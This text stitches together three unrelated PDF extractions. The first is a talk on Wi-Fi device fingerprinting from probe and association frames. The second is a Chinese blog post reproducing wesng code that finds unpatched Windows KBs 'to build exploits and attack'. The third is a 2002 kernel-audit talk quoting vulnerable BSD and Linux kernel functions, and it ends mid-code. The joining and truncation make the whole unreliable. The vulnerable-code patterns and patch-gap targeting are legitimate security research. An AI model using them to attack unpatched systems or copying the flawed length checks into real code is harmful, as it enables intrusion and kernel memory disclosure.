Request portion of the signatures for three devices. The first is from an original iPhone, which is a dot11g device. The Taxonomy mechanism really wouldn’t have worked in that timeframe, there was almost no differentiation in the contents of MLME frames. iPhone 4s is an dot11n device, introduced about 4 years later. It adds a number of options to its management frames. iPhone 7 is from about 5 years after that, and is an dot11ac device. It added even more. 0:40 Signatures in their Final Form Xbox One wifi4|probe:0,1,45,50,htcap:058f,htagg:03,htmcs:0000ffff|assoc:0,1,33 ,36,221(0050f2,2),45,htcap:058f,htagg:03,htmcs:0000ffff,txpow:1208 Nest Thermostat v3 wifi4|probe:0,1,45,221(001018,2),221(00904c,51),htcap:0062,htagg:1a,h tmcs:000000ff|assoc:0,1,33,36,48,45,221(001018,2),221(00904c,51),221( 0050f2,2),htcap:0062,htagg:1a,htmcs:000000ff,txpow:0f09 Chromecast v1 wifi4|probe:0,1,3,45,50,htcap:0120,htagg:03,htmcs:00000000|assoc:0,1, 48,50,127,221(0050f2,2),45,htcap:012c,htagg:03,htmcs:000000ff,extcap: 0000000000000140 Try It! SSID: SmellOfWifiTalk The full signature contains the list of IEs and the various bitmasks from each of the Probe Request and the Associate Request, separated by a pipe. The whole thing is prefaced by “wifi4” as this is the fourth iteration on the signature format. Including the prefix allowed the wifi, wifi2, and wifi3 signatures to remain in the database while updating. We shall speak no more of the earlier three. 0:25 Mobile Only! Taxonomy identifies the Wi-Fi circuitry, device driver, and OS. ● Works for highly integrated devices: mobile and IOT. ● With a Wi-Fi card in a laptop... it identifies the card. Try It! SSID: SmellOfWifiTalk The Wi-Fi taxonomy signature is influenced by the client OS, by its Wi-Fi chipset, and its board layout. The current database of signatures identifies the most common Wi-Fi devices: overwhelmingly phones nowadays. We have signatures for most widely sold phones and tablet devices of the last few years, and a selection of other types of devices like: ● Media streaming devices from Google, Apple, Roku, Amazon, et cetera ● Internet of Things devices from Nest, Honeywell, Withings, and so forth For larger devices like laptops and desktops which use a separate Wi-Fi card: the mechanism identifies the card. We had signatures from some laptop and desktop devices, but it was kindof ridiculous. ● One model of Apple Airport Extreme card could be a MacBook, or iMac, or Mac Pro. That’s pretty much the entire generation of machines, we couldn’t distinguish them using this mechanism. ● Intel Centrino chipsets as used in Windows laptops are even less distinctive. It could be almost anything. So at this point, we don’t even try and don’t add signatures from laptops or desktops into the database. It tends to just result in confusion, and it isn’t useful. Additionally, there are a few classes of device which we choose not to gather signatures for: ● We only want to focus on common devices, things which a lot of people are likely to have. We use lists of top-selling electronics to target what we want to gather signatures for. If it is something unique or only in very low volume, we don’t really want to add it to the database. ● We don’t put in labels for things which might make someone uncomfortable if they see it in the UI from their router. That includes medical devices, devices of an adult nature, home incarceration monitoring, and so on. 1:50 Multiple Signatures wifi4|probe:0,1,45,221(0050f2,8),191,127,htcap:01ef,htagg:1f,htmcs:0000ff ff,vhtcap:339071b2,vhtrxmcs:030cfffa,vhttxmcs:030cfffa,extcap:04000000000 0004080|assoc:0,1,48,45,221(0050f2,2),191,127,htcap:01ef,htagg:1f,htmcs:0 000ffff,vhtcap:339071b2,vhtrxmcs:030cfffa,vhttxmcs:030cfffa,extcap:04000a 020100004080 wifi4|probe:0,1,45,221(0050f2,8),191,127,htcap:01ef,htagg:1f,htmcs:0000ff ff,vhtcap:339031b2,vhtrxmcs:030cfffa,vhttxmcs:030cfffa,extcap:04000000000 0004080|assoc:0,1,48,45,221(0050f2,2),191,127,htcap:01ef,htagg:1f,htmcs:0 000ffff,vhtcap:339031b2,vhtrxmcs:030cfffa,vhttxmcs:030cfffa,extcap:04000a 020100004080 Try It! SSID: SmellOfWifiTalk Many devices have been seen to emit more than one signature and so there is more than one entry for them in the database. For devices which support both 2.4 and 5 GHz operation, the signatures are almost always distinct. ● there are Information Elements which are only defined for one or the other, like Extended Supported Rates on 2.4 ● also the whole of do11ac is only defined for 5GHz. So for devices which support both bands, we always capture signatures from each band. However even in the same band, devices often have multiple signatures. They vary what they advertise based on local conditions like noise, or in what they saw from the AP. This example shows two signatures seen from a Google Pixel Phone. It varies its handling of beamforming, presumably based on the noise environment it sees. 0:50 Feedback loop with AP Try It! SSID: SmellOfWifiTalk Probe Request Association Request Probe Response wifi4|probe:0,1,45, 221(0050f2,8),191,1 27,htcap:016f,htagg :1f,htmcs:000000ff, vhtcap:33907132,vht rxmcs:0186fffe,vhtt xmcs:0186fffe,extca p:04000000000000408 0|assoc:0,1,33,36,4 8,70,45,221(0050f2, 2),191,127,htcap:01 6f,... Clients can also behave differently depending on what the AP says in response to their Probe Request. For example: ● If the AP says it supports Radio Resource Management, most Apple and some Android devices will include a Spectrum Management IE in their Association Request (it’s #70). ● Another example: though dot11ac is only defined for 5 GHz, many vendors have a proprietary implementation handling 2.4GHz as well. Qualcomm includes the dot11ac information in the Probe Request, but will only include in the Association if it sees the right response from the AP. Broadcom also has a proprietary dot11ac implementation for 2.4GHz, but it works differently. Of course. When capturing signatures for the database, we use three different APs to maximize the chances of capturing different signatures. 1:00 Signature Aliasing Amazon Dash Button wifi4|probe:0,1,50,45,3,221(001018,2),221(00904c,51),htcap:110c,htagg:19,htmcs:000000ff|assoc:0,1,48,50,4 5,221(001018,2),221(00904c,51),221(0050f2,2),htcap:110c,htagg:19,htmcs:000000ff First Alert Thermostat wifi4|probe:0,1,50,45,3,221(001018,2),221(00904c,51),htcap:110c,htagg:19,htmcs:000000ff|assoc:0,1,48,50,4 5,221(001018,2),221(00904c,51),221(0050f2,2),htcap:110c,htagg:19,htmcs:000000ff Nexus 7 (2012 edition) wifi4|probe:0,1,50,45,3,221(001018,2),221(00904c,51),htcap:110c,htagg:19,htmcs:000000ff|assoc:0,1,48,50,4 5,221(001018,2),221(00904c,51),221(0050f2,2),htcap:110c,htagg:19,htmcs:000000ff Roku HD wifi4|probe:0,1,50,45,3,221(001018,2),221(00904c,51),htcap:110c,htagg:19,htmcs:000000ff|assoc:0,1,48,50,4 5,221(001018,2),221(00904c,51),221(0050f2,2),htcap:110c,htagg:19,htmcs:000000ff Withings Scale wifi4|probe:0,1,50,45,3,221(001018,2),221(00904c,51),htcap:110c,htagg:19,htmcs:000000ff|assoc:0,1,48,50,4 5,221(001018,2),221(00904c,51),221(0050f2,2),htcap:110c,htagg:19,htmcs:000000ff Try It! SSID: SmellOfWifiTalk Nonetheless, sometimes we see the same signature from multiple devices. These examples are all devices using the Broadcom 43362 chipset, running Linux, with the same driver, the same wpa_supplicant, and old enough that none of them provide a TX Power IE. The signatures are identical: an Amazon Dash Button, a First Alert Thermostat, a Nexus 7, Roku HD, and Withings Scale. 0:30 Signature Disambiguation Amazon Dash Button wifi4|probe:0,1,50,45,3,221(001018,2),221(00904c,51),htcap:110c,htagg:19,htmcs:000000ff|assoc:0,1,48,50,4 5,221(001018,2),221(00904c,51),221(0050f2,2),htcap:110c,htagg:19,htmcs:000000ff|oui:amazon First Alert Thermostat wifi4|probe:0,1,50,45,3,221(001018,2),221(00904c,51),htcap:110c,htagg:19,htmcs:000000ff|assoc:0,1,48,50,4 5,221(001018,2),221(00904c,51),221(0050f2,2),htcap:110c,htagg:19,htmcs:000000ff|oui:firstalert Nexus 7 (2012 edition) wifi4|probe:0,1,50,45,3,221(001018,2),221(00904c,51),htcap:110c,htagg:19,htmcs:000000ff|assoc:0,1,48,50,4 5,221(001018,2),221(00904c,51),221(0050f2,2),htcap:110c,htagg:19,htmcs:000000ff|oui:asus Roku HD wifi4|probe:0,1,50,45,3,221(001018,2),221(00904c,51),htcap:110c,htagg:19,htmcs:000000ff|assoc:0,1,48,50,4 5,221(001018,2),221(00904c,51),221(0050f2,2),htcap:110c,htagg:19,htmcs:000000ff|os:roku Withings Scale wifi4|probe:0,1,50,45,3,221(001018,2),221(00904c,51),htcap:110c,htagg:19,htmcs:000000ff|assoc:0,1,48,50,4 5,221(001018,2),221(00904c,51),221(0050f2,2),htcap:110c,htagg:19,htmcs:000000ff|oui:withings Try It! SSID: SmellOfWifiTalk In most cases like this we distinguish them using the top 24 bits of the MAC address, which is the Organizationally Unique Identifier. OUIs are assigned to a manufacturer. Adding the OUI as a qualifier can distinguish similar devices from different manufacturers which have the same signature. We sometimes use information from DHCP: the options present in the request can identify the OS, as developed by Fingerbank (http://fingerbank.org) - and by the way, that earlier work on DHCP option signatures from Fingerbank inspired this mechanism for Wi-Fi. However using DHCP gets further and further from the Wi-Fi layer, so we try to be more sparing in using it. In particular, only the AP itself will be able to see the DHCP information after decryption, it cannot be used from a separate sniffer device on the Wi-Fi network. 0:45 Troublesome cases Try It! SSID: SmellOfWifiTalk iPad Air 2nd gen vs iPhone 6s wifi4|probe:0,1,45,127,107,191,221(0017f2,10),221(0050f2,8),221(0 01018,2),htcap:006f,htagg:17,htmcs:0000ffff,vhtcap:0f815832,vhtrx mcs:0000fffa,vhttxmcs:0000fffa,extcap:0400088400000040|assoc:0,1, 33,36,48,45,127,191,221(0017f2,10),221(001018,2),221(0050f2,2),ht cap:006f,htagg:17,htmcs:0000ffff,vhtcap:0f815832,vhtrxmcs:0000fff a,vhttxmcs:0000fffa,txpow:1302,extcap:0400000000000040 However there remain some cases which are still troublesome, mainly devices made by the same vendor, using the same software, the same Wi-Fi chipset, and at about the same time. For example, iPad Air 2nd generation and iPhone 6s have the same signature. We can try to use heuristics, like if the DHCP hostname contains iPad then maybe it’s an iPad. If nothing else though, we have to return both possibilities. 0:30 Uses of Wi-Fi Taxonomy Current ● List of Connected Clients in UI ● Correlate with other data Future ● Optimize for client ? ● WIDS ? Try It! SSID: SmellOfWifiTalk This mechanism was originally developed as part of a Wi-Fi AP project. We intended to focus on identifying the Wi-Fi chipset the client was using. We thought if we could just know what chipset the client was using, we’d enable all kinds of very clever workarounds for bugs in that chipset and we would make Wi-Fi perfect… but it turns out that the kinds of bugs which can be easily worked around are mostly handled by the software in the client device. Who knew? Instead, this information is currently used: ● in the UI where one can see a list of connected clients to also give an indication of what those clients are. If the client includes a useful hostname that is great, but if it doesn’t include a hostname or it uses something like its serial number it is better to say what kind of device we think it is. ● We also use it to correlate with performance data to break it out by type of client device. My colleague Avery Pennarun gave a talk at Netdev 1.1, "Measuring wifi performance across all Google Fiber customers" This taxonomy mechanism was one of the topics. The graph on this page shows Wi-Fi throughput getting better and better as the client gets closer to the AP, until when it gets really close it drops sharply back down. That sort of behavior is only visible if the data can be broken out by the type of device. https://www.youtube.com/watch?v=yZcHbD84j5Y (the section about this mechanism starts at 16:09). Possible uses in the future: ● Possibly of interest to this audience: Wireless Intrusion Detection Systems could make use of knowing more about the type of client connecting. Some of this stuff is rather difficult for malicious clients to spoof, for example pretending to be a Broadcom chipset if the attacking device actually uses Qualcomm or Marvell. ● We might also use it for optimizations based on the client, for example in packet reorder buffers. These keep retransmitted packets in order at the cost of introducing delay. Windows absolutely needs the packets to stay in order, it considers even minimal reordering as congestion and slows down. iOS and Linux are more tolerant of occasional reordering, and could get lower latency on average if we allowed occasional packets to arrive out of order. 2:00 Current Status ● hostapd 2.6 added CONFIG_TAXONOMY. ○ hostapd_cli command: signature ● Database of known signatures: ○ https://github.com/NetworkDeviceTaxonomy/wifi_taxonomy ○ 907 signatures covering 172 devices ○ ~60% of connected Wi-Fi devices ○ the long tail is long Try It! SSID: SmellOfWifiTalk The implementation to extract signatures for clients went into hostapd in August 2016, and is present in hostapd 2.6 and later. The database of known signatures is released as open source code under an Apache license. https://github.com/NetworkDeviceTaxonomy/wifi_taxonomy It currently identifies about 60% of Wi-Fi clients across a broad swath of the market. The remaining 40% of devices are mostly laptops and desktops, with a long tail of other types of unidentified devices. 0:45 Other resources ● Published paper https://research.google.com/pubs/pub45429.html https://arxiv.org/abs/1608.01725 ● “Measuring wifi performance across all Google Fiber customers” Avery Pennarun, Netdev 1.1, 2015 https://youtu.be/yZcHbD84j5Y http://apenwarr.ca/diary/wifi-data-apenwarr-201602.pdf ● https://github.com/NetworkDeviceTaxonomy Try It! SSID: SmellOfWifiTalk We published a paper about the mechanism, which goes about a half level of detail deeper into the implementation. Earlier I mentioned the talk at Netdev 1.1 by Avery Pennarun, another senior software engineer working on the project and co-developer of the mechanism. That talk described the overall environment where this mechanism was developed and how it was used in that environment. The github site is intended to host other tools relating to client taxonomy and identification. 0:30 The Way Forward ● Integration ● Better tools to gather signatures ● AP Taxonomy? What comes next? ● So. Here is this thing. The signature mechanism is in hostapd, and the database of signatures is published as open source code, but it is only useful if integrated into other products and systems: Wi-Fi APs, or Wireless Intrusion Detection Systems, or other stuff. ● We need to develop better tools for gathering signatures. Right now it is pretty manually intensive. ● This talk has been all about how APs can identify clients, but running it in reverse would likely work as well. It could be run on a client to identify the type of AP it is connecting to. The list of IEs present in the AP’s Beacon and Probe Response could be turned into a signature, and this would allow any other connectivity or performance checks to report more information about the AP.
pdf
今天看到一篇文章: https://bitsadm.in/blog/windows-security-updates-for-hackers 讲述如何通过Windows的补丁号来评估系统面临的风险以及工具的相关实现,它通过爬取微软官方更新 中的KB号和系统已有的进行对比,和hacking8的提权辅助 https://i.hacking8.com/tiquan 有一点异曲 同工之妙。 它发布的工具是: https://github.com/bitsadmin/wesng 我摘出一些觉得有用的代码出来。 识别系统版本 通过systeminfo,得知我的系统版本是 19042 可得出我的系统版本是 20H2 Windows版本号过去发布的格式是YYMM,YY为年,MM为月,例如2020年4月发布的,即是 2004,系统内部代号即是19041 从2020年Windows10秋季发布开始,变成了YYH1/YYH2半年模式 识别系统版本号,在后面可以用来筛选安全更新,减少误报率。 根据systeminfo信息确认系统版本 主要就是通过正则,python代码如下 # 构建号和版本之间的映射表以正确识别 # systeminfo输出中指定的Windows 10/11/Server 2016/2019/2022版本 buildnumbers = OrderedDict([   (10240, 1507),   (10586, 1511),   (14393, 1607),   (15063, 1703),   (16299, 1709),   (17134, 1803),   (17763, 1809),   (18362, 1903),   (18363, 1909),   (19041, 2004),   (19042, '20H2'),   (19043, '21H1'),   (22000, '21H2') # Windows 11 ]) # Determine Windows version based on the systeminfo input file provided def determine_product(systeminfo):    systeminfo = charset_convert(systeminfo)    # Fixup for 7_sp1_x64_enterprise_fr_systeminfo_powershell.txt    systeminfo = systeminfo.replace('\xA0', '\x20')    # OS Version    regex_version = re.compile(r'.*?((\d+\.?){3}) ((Service Pack (\d)|N\/\w|.+) )?[ -\xa5]+ (\d+).*', re.MULTILINE | re.IGNORECASE)    systeminfo_matches = regex_version.findall(systeminfo)    if len(systeminfo_matches) == 0:        raise WesException('Not able to detect OS version based on provided input file\n   In case you used the missingpatches script, use: wes.py -m missing.txt')    systeminfo_matches = systeminfo_matches[0]    mybuild = int(systeminfo_matches[5])    servicepack = systeminfo_matches[4]    # OS Name    win_matches = re.findall('.*?Microsoft[\(R\)]{0,3} Windows[\(R\)?]{0,3} ? (Serverr? )?(\d+\.?\d?( R2)?|XP|VistaT).*', systeminfo, re.MULTILINE | re.IGNORECASE)    if len(win_matches) == 0:        raise WesException('Not able to detect OS name based on provided input file')    win = win_matches[0][1]    # System Type    archs = re.findall('.*?([\w\d]+?)-based PC.*', systeminfo, re.MULTILINE | re.IGNORECASE)    if len(archs) > 0:        arch = archs[0]    else:        logging.warning('Cannot determine system\'s architecture. Assuming x64')        arch = 'x64'    # Hotfix(s)    hotfixes = get_hotfixes(systeminfo)    # Determine Windows 10 version based on build    version = None    for build in buildnumbers:        if mybuild == build:            version = buildnumbers[build]            break        if mybuild > build:            version = buildnumbers[build]        else:            break    # Compile name for product filter    # Architecture    if win not in ['XP', 'VistaT', '2003', '2003 R2']:        if arch == 'X86':            arch = '32-bit'        elif arch == 'x64':            arch = 'x64-based'    # Client OSs    if win == 'XP':        productfilter = 'Microsoft Windows XP'        if arch != 'X86':            productfilter += ' Professional %s Edition' % arch        if servicepack:            productfilter += ' Service Pack %s' % servicepack    elif win == 'VistaT':        productfilter = 'Windows Vista'        if arch != 'x86':            productfilter += ' %s Edition' % arch        if servicepack:            productfilter += ' Service Pack %s' % servicepack    elif win == '7':        productfilter = 'Windows %s for %s Systems' % (win, arch)        if servicepack:            productfilter += ' Service Pack %s' % servicepack    elif win == '8':        productfilter = 'Windows %s for %s Systems' % (win, arch)    elif win == '8.1':        productfilter = 'Windows %s for %s Systems' % (win, arch)    elif win == '10':        productfilter = 'Windows %s Version %s for %s Systems' % (win, version, arch)    elif win == '11':        productfilter = 'Windows %s for %s Systems' % (win, arch)    # Server OSs    elif win == '2003':        if arch == 'X86':            arch = ''        elif arch == 'x64':            arch = ' x64 Edition'        pversion = '' if version is None else ' ' + version        productfilter = 'Microsoft Windows Server %s%s%s' % (win, arch, pversion)    # elif win == '2003 R2':    # Not possible to distinguish between Windows Server 2003 and Windows Server 2003 R2 based on the systeminfo output    # See: https://serverfault.com/q/634149    # Even though in the definitions there is a distinction though between 2003 and 2003 R2, there are only around 50    # KBs specificly for 2003 R2 (x86/x64) and almost 6000 KBs for 2003 (x86/x64)    elif win == '2008':        pversion = '' if version is None else ' ' + version        productfilter = 'Windows Server %s for %s Systems%s' % (win, arch, pversion)    elif win == '2008 R2':        pversion = '' if version is None else ' ' + version        productfilter = 'Windows Server %s for %s Systems%s' % (win, arch, pversion)    elif win == '2012':        productfilter = 'Windows Server %s' % win    elif win == '2012 R2':        productfilter = 'Windows Server %s' % win    elif win == '2016':        productfilter = 'Windows Server %s' % win    elif win == '2019':        productfilter = 'Windows Server %s' % win    elif win == '2022':        productfilter = 'Windows Server %s' % win    else: KB数据库更新 wesng使用的数据是自己采集然后上传到github上的,可能更新不会那么及时。 数据地址是: https://github.com/bitsadmin/wesng/blob/master/definitions.zip 打开后如下格式 它也提供了一个脚本,用于从msrc自动获取更新 地址:https://github.com/bitsadmin/wesng/blob/m aster/collector/collect_msrc.ps1 但是它需要一个api key Hacking8的是直接爬msrc官网的更新,反而没那么多限制,后续会给出我的源码 筛选补丁流程 初筛 从systeminfo信息中获取product信息,然后根据product的版本号把补丁初筛一遍        raise WesException('Failed assessing Windows version {}'.format(win))    return productfilter, win, mybuild, version, arch, hotfixes # Extract hotfixes from provided text file def get_hotfixes(text):    hotfix_matches = re.findall('.*KB\d+.*', text, re.MULTILINE | re.IGNORECASE)    hotfixes = []    for match in hotfix_matches:        hotfixes.append(re.search('.*KB(\d+).*', match, re.MULTILINE | re.IGNORECASE).group(1))    return hotfixes 筛选 初筛的结果和系统的补丁号进行一次集合求差,就能得到还没有打的补丁,根据这些补丁,构造exp, 就能攻击了。
pdf
Format • Three parts in today’s presentation. – Kernel auditing research. – A sample of exploitable bugs. – Kernel exploitation. • Pause for questions at completion of each section, but questions are welcome throughout. Part (i) Kernel Auditing Research. Kernel Auditing Overview • Manual Open Source Kernel Security Audit. • FreeBSD, NetBSD, OpenBSD and Linux operating systems. • Auditing for three months; July to September 2002. TimeFrame by Operating System • NetBSD – Less than one week. • FreeBSD – A week or less. • OpenBSD – A couple of days. • Linux – All free time. Prior Work • Dawson Engler and Stanford Bug Checker. – Many concurrency and synchronization bugs uncovered. • Linux Kernel Auditing Project? Presentation Notes • The use of the term ‘bug’ is always in reference to a vulnerability unless otherwise stated. • At cessation of the auditing period, over one hundred vulnerabilities (bugs) were patched. Kernel Security Mythology (1) • Kernels are written by security experts and programming gods. – Therefore, having no [simplistic [security]] bugs. Kernel Security Mythology (2) • Kernels never have simplistic [security] bugs. – Therefore, only security experts or programming gods can find them. Kernel Security Mythology (3) • Kernels, if buggy, are difficult to exploit. – Therefore, exploitation is probably only theoretical in nature. Research Conjectures • Kernel Code is not ‘special’. – It’s just another program. • Language Implementation bugs are present. – Its using languages with known pitfalls. • Kernel Programmers make mistakes. – Like everyone else. Auditing Methodology • Audit only simple classes of bugs. • Find entry points to audit. – Kernel / User memory copies based in idea on Dawson Englers bug checkers. • Audit using bottom-up techniques. • Targeted auditing evolved with experience. Auditing Experience • System Calls are simple entry points. • Device Drivers have simple entry points by design. – Unix; everything is a file. • IOCTL’s are the swiss army knife of system calls, increasing the attack vector space. Immediate Results • First bug found within hours. • True for all operating systems audited. • First bug in [new] non familiar software is arguably the hardest to find. Observations (1) • Evidence of varying degrees of code quality and security bugs. • Device Drivers a very large source of bugs. * • Bugs tend to exhibit signs of propagation and clustering. * • Identical bugs across platforms (2). Research Bias • Manual auditing is inherently biased. • Dawson Englers work in automated bug discovery states those prior (*) observations, but provides something that can be considered less biased than manual auditing. Observations (2) NetBSD 1.6 int i386_set_ldt(p, args, retval) struct proc *p; void *args; register_t *retval; { [ skip ] if (ua.start < 0 || ua.num < 0) return (EINVAL); if (ua.start > 8192 || (ua.start + ua.num) > 8192) OpenBSD 3.1 int i386_set_ldt(p, args, retval) struct proc *p; void *args; register_t *retval; { [ skip ] if (ua.start < 0 || ua.num < 0) return (EINVAL); if (ua.start > 8192 || (ua.start + ua.num) > 8192) Evidence in contradiction to Kernel Mythology (1) • Kernels are [not] written by gods.. – Initial bugs were found in hours by all kernels. – Bugs were found in large quantities. Ten to thirty per day was not uncommon. – It was assumed and stated that code was secure, when in fact, it was often not. Linux 2.4.18 /* * Copy bytes to user space. We allow for partial reads, which * means that the user application can request read less than * the full frame size. It is up to the application to issue * subsequent calls until entire frame is read. * * First things first, make sure we don't copy more than we * have - even if the application wants more. That would be * a big security embarassment! */ if ((count + frame->seqRead_Index) > frame->seqRead_Length) count = frame->seqRead_Length - frame->seqRead_Index; /* * Copy requested amount of data to user space. We start * copying from the position where we last left it, which * will be zero for a new frame (not read before). */ if (copy_to_user(buf, frame->data + frame->seqRead_Index, count)) { count = -EFAULT; goto read_done; } Linux 2.2.16 /* * Copy an openpromio structure into kernel space from user space. * This routine does error checking to make sure that all memory * accesses are within bounds. A pointer to the allocated openpromio * structure will be placed in "*opp_p". Return value is the length * of the user supplied buffer. */ static int copyin(struct openpromio *info, struct openpromio **opp_p) { int bufsize; [ skip ] get_user_ret(bufsize, &info->oprom_size, -EFAULT); if (bufsize == 0 || bufsize > OPROMMAXPARAM) return -EINVAL; if (!(*opp_p = kmalloc(sizeof(int) + bufsize + 1, GFP_KERNEL))) return -ENOMEM; memset(*opp_p, 0, sizeof(int) + bufsize + 1); if (copy_from_user(&(*opp_p)->oprom_array, &info->oprom_array, bufsize)) { kfree(*opp_p); Evidence in contradiction to Kernel Mythology (2) • Kernels do have simplistic bugs.. – Almost never was intensive code tracking required. – After ‘grepping’ for simple entry points, bugs were identified in close proximity. • No input validation present on occasion! – Inline documentation shows non working code in many places. linux/ibcs2_stat.c int ibcs2_sys_statfs(p, v, retval) struct proc *p; void *v; register_t *retval; { struct ibcs2_sys_statfs_args /* { syscallarg(char *) path; syscallarg(struct ibcs2_statfs *) buf; syscallarg(int) len; syscallarg(int) fstype; } */ *uap = v; [ skip ] return cvt_statfs(sp, (caddr_t)SCARG(uap, buf), SCARG(uap, len)); static int cvt_statfs(sp, buf, len) struct statfs *sp; caddr_t buf; int len; { struct ibcs2_statfs ssfs; bzero(&ssfs, sizeof ssfs); [ skip ] return copyout((caddr_t)&ssfs, buf, len); sparc64/dev/vgafb.c int vgafb_ioctl(v, cmd, data, flags, p) void *v; u_long cmd; caddr_t data; int flags; struct proc *p; { case WSDISPLAYIO_GETCMAP: if (sc->sc_console == 0) return (EINVAL); return vgafb_getcmap(sc, (struct wsdisplay_cmap *)data); int vgafb_getcmap(sc, cm) struct vgafb_softc *sc; struct wsdisplay_cmap *cm; { u_int index = cm->index; u_int count = cm->count; int error; error = copyout(&sc->sc_cmap_red[index], cm->red, count); fs/binfmt_coff.c if (!pageable) { /* * Read the file from disk... * * XXX: untested. */ loff_t pos = data.scnptr; status = do_brk(text.vaddr, text.size); bprm->file->f_op->read(bprm->file, (char *)data.vaddr, data.scnptr, &pos); status = do_brk(data.vaddr, data.size); bprm->file->f_op->read(bprm->file, (char *)text.vaddr, text.scnptr, &pos); status = 0; Evidence in contradiction to Kernel Mythology (3) • Kernels, if buggy, are [not] difficult to exploit.. – Exploit to 100% reliably read kernel memory from proc FS Linux is 38 lines. – 37 lines for 100% reliable FreeBSD accept system call exploit to read kernel memory. – Stack overflow in Linux requires no offsets, only assuming [correctly], that addresses on stack are word aligned. Attack Vectors • The more code in a kernel, the more vulnerabilities are likely to be present. • Entry points that user land can control are vectors of exploitation. – Eg, Device Drivers, System Calls, File Systems. • Less risk of security violations, with less generic kernels. – Core Kernel code resulted in relatively few bugs. Vendor Response • For this audit, OSS security response very strong. • All contact points responding exceptionally fast. – Theo de Raadt (OpenBSD) response in 3 minutes. – Alan Cox (Linux) response in under 3 hours with status of bugs [some resolved two years prior] and developer names. [Pesonal] Open Source Bias • I am [still] a big believer in Open Source Software, so the responses received, while true, are arguably somewhat biased. • It could be debated that a company without a legal and marketing department to protect, can only argue at a source level. More Bias! $ grep -i hack /usr/src/linux-2.4.19/CREDITS | wc -l 106 $ grep -i hacker /usr/src/linux-2.4.19/CREDITS | wc -l 57 $ grep -i hacking /usr/src/linux-2.4.19/CREDITS | wc -l 25 $ grep -i hacks /usr/src/linux-2.4.19/CREDITS | wc -l 23 Linux • Alan Cox first contact point, and remained personally involved and responsible for entire duration. • Patched the majority of software, although attributing me with often small patches in change logs. • Solar Designer, responsible for 2.2 Linux Kernels. • Dave Miller later helping in the patch process also. Linux Success! • RedHat initial advisory almost political in nature, with references to the DMCA. • RedHat Linux now regularly release kernel advisories, which probably can be attributed to the auditing work carried out last year. • Audit [ironically considering LKAP] was probably the most complete in Linux History. FreeBSD • FreeBSD has more formalized process with Security Officer contact point. • Dialogue, slightly longer to establish, but very effective thereafter. • Addressed standardizations issues, resolving some security bugs very effectively squashing future bugs. FreeBSD success? • FreeBSD released an [unexpected] advisory on the accept() system call bug. • At the time, in a vulnerability assessment company, a co-worker told me they had to implement ‘my vulnerability’. ☺ • Thanks FreeBSD! NetBSD • NetBSD dialogue was not lengthy, but all issues were resolved after small waiting period. • These patches where applicable, then quickly propagated to the OpenBSD kernel source. OpenBSD • Theo de Raadt quickest response in documented history? • OpenBSD select advisory released shortly after 10-15 problems were reported. • I did not audit or report select() bug, but appears Neils Provos started kernel auditing after my initial problem reports. OpenBSD ChangeLogs http://www.squish.net/pipermail/owc/2002-August/00380.html The OpenBSD weekly src changes [ending 2002-08-04] compat/ibcs2 ~ ibcs2_stat.c > More possible int overflows found by Silvio Cesare. > ibcs2_stat.c one OK by provos@ ibcs_stat.c • Linux • OpenBSD • NetBSD • FreeBSD • FIXED • FIXED • FIXED • Kernel Security Today • Auditing always results in vulnerabilities being found. • Auditing and security is [or should be] an on-going process. • More bugs and bug classes are certainly exploitable, than just those described today. Public Research Release • Majority of technical results disseminated four months ago at Ruxcon. • Some bugs (0day) released at that time. • Bugs still present in kernels. • Does anyone read conference material besides us? Pause for Audience Participation! Questions? Part (ii) A sample of exploitable kernel bugs. arch/i386/sys_machdep.c #ifdef USER_LDT int i386_set_ldt(p, args, retval) struct proc *p; void *args; register_t *retval; { if (ua.start < 0 || ua.num < 0) return (EINVAL); if (ua.start > 8192 || (ua.start + ua.num) > 8192) return (EINVAL); arch/amiga/dev/grf_cl.c int cl_getcmap(gfp, cmap) struct grf_softc *gfp; struct grf_colormap *cmap; { if (cmap->count == 0 || cmap->index >= 256) return 0; if (cmap->index + cmap->count > 256) cmap->count = 256 - cmap->index; [ skip ] if (!(error = copyout(red + cmap->index, cmap->red, cmap->count)) && !(error = copyout(green + cmap->index, cmap->green, cmap- >count)) && !(error = copyout(blue + cmap->index, cmap->blue, cmap- >count))) return (0); arch/amiga/dev/view.c int view_get_colormap (vu, ucm) struct view_softc *vu; colormap_t *ucm; { int error; u_long *cme; u_long *uep; /* add one incase of zero, ick. */ cme = malloc(sizeof (u_long)*(ucm->size + 1), M_IOCTLOPS, M_WAITOK); uep = ucm->entry; error = 0; ucm->entry = cme; /* set entry to out alloc. */ if (vu->view == NULL || grf_get_colormap(vu->view, ucm)) error = EINVAL; else error = copyout(cme, uep, sizeof(u_long) * ucm->size); ucm->entry = uep; /* set entry back to users. */ free(cme, M_IOCTLOPS); return(error); } hp300/hpux_machdep.c int hpux_sys_getcontext(p, v, retval) struct proc *p; void *v; register_t *retval; { struct hpux_sys_getcontext_args *uap = v; const char *str; int l, i, error = 0; int len; [ skip ] /* + 1 ... count the terminating \0. */ l = strlen(str) + 1; len = min(SCARG(uap, len), l); // since both l and uap->len (and len) are signed integers.. if (len) error = copyout(str, SCARG(uap, buf), len); ufs/lfs/lfs_syscalls.c int lfs_bmapv(p, v, retval) struct proc *p; void *v; register_t *retval; { struct lfs_bmapv_args /* { syscallarg(fsid_t *) fsidp; syscallarg(struct block_info *) blkiov; syscallarg(int) blkcnt; } */ *uap = v; [ skip ] start = blkp = malloc(cnt * sizeof(BLOCK_INFO), M_SEGMENT, M_WAITOK); error = copyin(SCARG(uap, blkiov), blkp, cnt * sizeof(BLOCK_INFO)); if (error) { free(blkp, M_SEGMENT); return (error); } for (step = cnt; step--; ++blkp) { compat/hpux/hpux_compat.c struct hpux_sys_utssys_args { syscallarg(struct hpux_utsname *) uts; syscallarg(int) dev; syscallarg(int) request; }; ./compat/hpux/hpux_compat.c int hpux_sys_utssys(p, v, retval) struct proc *p; void *v; register_t *retval; { struct hpux_sys_utssys_args *uap = v; [ skip ] /* gethostname */ case 5: /* SCARG(uap, dev) is length */ if (SCARG(uap, dev) > hostnamelen + 1) SCARG(uap, dev) = hostnamelen + 1; error = copyout((caddr_t)hostname, (caddr_t)SCARG(uap, uts), SCARG(uap, dev)); break; pci_hotplug_core.c static ssize_t power_write_file (struct file *file, const char *ubuff, size_t count, loff_t *offset) { struct hotplug_slot *slot = file->private_data; char *buff; unsigned long lpower; u8 power; int retval = 0; if (*offset < 0) return -EINVAL; if (count <= 0) return 0; if (*offset != 0) return 0; [ skip ] buff = kmalloc (count + 1, GFP_KERNEL); if (!buff) return -ENOMEM; memset (buff, 0x00, count + 1); if (copy_from_user ((void *)buff, (void 